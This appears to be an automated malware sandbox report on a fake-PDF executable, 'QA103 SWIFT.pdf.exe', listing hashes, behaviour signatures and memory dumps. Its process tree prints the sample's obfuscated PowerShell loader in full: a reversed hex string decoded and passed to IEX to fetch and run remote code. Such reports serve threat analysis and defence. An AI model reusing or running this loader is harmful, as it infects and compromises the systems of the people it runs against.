Overview

overview

10

Static

static

QA103 SWIFT.pdf.exe

windows7_x64

10

QA103 SWIFT.pdf.exe

windows10_x64

10

Analysis

  • max time kernel
    18s
  • max time network
    113s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    08/10/2020, 05:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    QA103 SWIFT.pdf.exe
  • Size 27KB
  • Sample201008-89f7s8le5x
  • SHA256 5ba4d89aa8ee0209d0f91d406ff67bf77ff78b4639264c1248cb2eb25bde1c32
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\QA103 SWIFT.pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\QA103 SWIFT.pdf.exe"
    1⤵
      PID:3852
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell $DHtoB='D4%C7%72%72%02%E6%96%F6%A6%D2%02%37%27%16%86%34%96%96%36%37%16%42%02%D3%76%E6%96%27%47%35%96%96%36%37%16%42%B3%D7%22%F5%42%87%03%22%D5%56%47%97%26%B5%D5%27%16%86%36%B5%B7%02%47%36%56%A6%26%F4%D2%86%36%16%54%27%F6%64%C7%02%72%D2%72%02%47%96%C6%07%37%D2%02%67%D6%42%02%D3%37%27%16%86%34%96%96%36%37%16%42%B3%92%72%76%07%A6%E2%63%14%F2%D6%F6%36%E2%E6%F6%C6%16%67%16%97%C6%66%F2%F2%A3%07%47%47%86%72%C2%46%F6%86%47%56%D4%A3%A3%D5%56%07%97%45%C6%C6%16%34%E2%36%96%37%16%24%C6%16%57%37%96%65%E2%47%66%F6%37%F6%27%36%96%D4%B5%C2%72%76%E6%96%27%47%35%46%16%F6%C6%E6%77%F6%44%72%C2%97%47%47%42%82%56%D6%16%E6%97%24%C6%C6%16%34%A3%A3%D5%E6%F6%96%47%36%16%27%56%47%E6%94%E2%36%96%37%16%24%C6%16%57%37%96%65%E2%47%66%F6%37%F6%27%36%96%D4%B5%02%D3%67%D6%42%B3%92%72%36%96%37%16%24%C6%16%57%37%96%65%E2%47%66%F6%37%F6%27%36%96%D4%72%82%56%D6%16%E4%C6%16%96%47%27%16%05%86%47%96%75%46%16%F6%C4%A3%A3%D5%97%C6%26%D6%56%37%37%14%E2%E6%F6%96%47%36%56%C6%66%56%25%E2%D6%56%47%37%97%35%B5%02%D5%46%96%F6%67%B5%B3%D4%C7%72%92%47%E6%56%72%B2%72%96%C6%34%26%72%B2%72%56%75%E2%47%72%B2%72%56%E4%02%47%36%72%B2%72%56%A6%26%F4%72%B2%72%D2%77%56%E4%82%72%D3%97%47%47%42%B3%23%23%07%42%02%D3%02%C6%F6%36%F6%47%F6%27%05%97%47%96%27%57%36%56%35%A3%A3%D5%27%56%76%16%E6%16%D4%47%E6%96%F6%05%56%36%96%67%27%56%35%E2%47%56%E4%E2%D6%56%47%37%97%35%B5%B3%92%23%73%03%33%02%C2%D5%56%07%97%45%C6%F6%36%F6%47%F6%27%05%97%47%96%27%57%36%56%35%E2%47%56%E4%E2%D6%56%47%37%97%35%B5%82%47%36%56%A6%26%F4%F6%45%A3%A3%D5%D6%57%E6%54%B5%02%D3%02%23%23%07%42%B3%92%76%E6%96%07%42%82%02%C6%96%47%E6%57%02%D7%47%56%96%57%15%D2%02%13%02%47%E6%57%F6%36%D2%02%D6%F6%36%E2%56%C6%76%F6%F6%76%02%07%D6%F6%36%D2%02%E6%F6%96%47%36%56%E6%E6%F6%36%D2%47%37%56%47%02%D3%02%76%E6%96%07%42%B7%02%F6%46%B3%56%E6%F6%26%45%42%02%D4%02%C6%16%37%B3%92%72%94%72%C2%72%E3%72%82%56%36%16%C6%07%56%27%E2%72%85%54%E3%72%D3%56%E6%F6%26%45%42';$text =$DHtoB.ToCharArray();[Array]::Reverse($text);$tu=-join $text;$jm=$tu.Split('%') | forEach {[char]([convert]::toint16($_,16))};$jm -join ''|I`E`X
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:196

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/196-4-0x00007FF9900F0000-0x00007FF990ADC000-memory.dmp
          Download

          memory/196-5-0x0000013E9C350000-0x0000013E9C351000-memory.dmp
          Download

          memory/196-6-0x0000013EB6B20000-0x0000013EB6B21000-memory.dmp
          Download

          memory/3852-0-0x0000000073410000-0x0000000073AFE000-memory.dmp
          Download

          memory/3852-1-0x0000000000E70000-0x0000000000E71000-memory.dmp
          Download

          memory/3852-3-0x0000000005E30000-0x0000000005E31000-memory.dmp
          Download